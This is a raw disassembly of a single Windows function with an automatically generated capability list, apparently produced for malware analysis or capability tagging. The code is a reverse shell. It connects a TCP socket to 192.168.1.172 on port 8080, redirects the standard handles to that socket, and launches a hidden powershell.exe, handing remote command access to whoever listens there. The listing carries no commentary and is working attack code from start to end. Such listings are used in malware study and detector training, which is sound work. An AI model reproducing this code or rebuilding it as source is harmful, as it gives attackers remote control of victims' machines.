Function at 0x14001131b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
jmp 0x140011920
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1d0], rax
lea rcx, [0x1400240a8]
call fcn.140011415
lea rax, str.192.168.1.172
mov qword [rbp + 8], rax
mov eax, 0x1f90
mov word [rbp + 0x54], ax
lea r8, [rbp + 0x2c]
mov rdx, qword [rbp + 8]
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x1400119ba
lea rcx, str.inet_pton_failed
call qword [sym.imp.ucrtbased.dll_perror]
mov eax, 0xffffffff
jmp 0x140011be1
lea rdx, [0x14001e480]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x14001e618], rax
mov eax, 2
mov word [rbp + 0x28], ax
movzx ecx, word [rbp + 0x54]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x2a], ax
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x2c], eax
mov r8d, 0x10
lea rdx, [rbp + 0x28]
mov rcx, qword [0x14001e618]
call qword [sym.imp.WS2_32.dll_connect]
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001e630]
call fcn.140011348
mov dword [0x14001e630], 0x68
mov dword [0x14001e66c], 0x100
mov rax, qword [0x14001e618]
mov qword [0x14001e690], rax
mov rax, qword [0x14001e690]
mov qword [0x14001e688], rax
mov rax, qword [0x14001e688]
mov qword [0x14001e680], rax
lea rax, str.powershell.exe
mov qword [rbp + 0x78], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x78]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rbp + 0x94], eax
movsxd rax, dword [rbp + 0x94]
mov qword [rbp + 0x1c8], rax
mov eax, 2
mov rcx, qword [rbp + 0x1c8]
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400111b3
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0xb8], rax
mov eax, dword [rbp + 0x94]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xb8]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x78]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [0x14001e698]
mov qword [rsp + 0x48], rax
lea rax, [0x14001e630]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0xb8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x1b8], rax
mov rcx, qword [rbp + 0x1b8]
call fcn.1400111f4
cmp qword [rbp + 0x1b8], 0
jne 0x140011bb3
mov qword [rbp + 0x1c8], 0
jmp 0x140011bcc
mov qword [rbp + 0xb8], 0x8123
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x1c8], rax
mov rcx, qword [0x14001e618]
call qword [sym.imp.WS2_32.dll_closesocket]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ac00]
call fcn.14001138e
mov rax, rdi
mov rcx, qword [rbp + 0x1d0]
xor rcx, rbp
call fcn.1400111fe
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret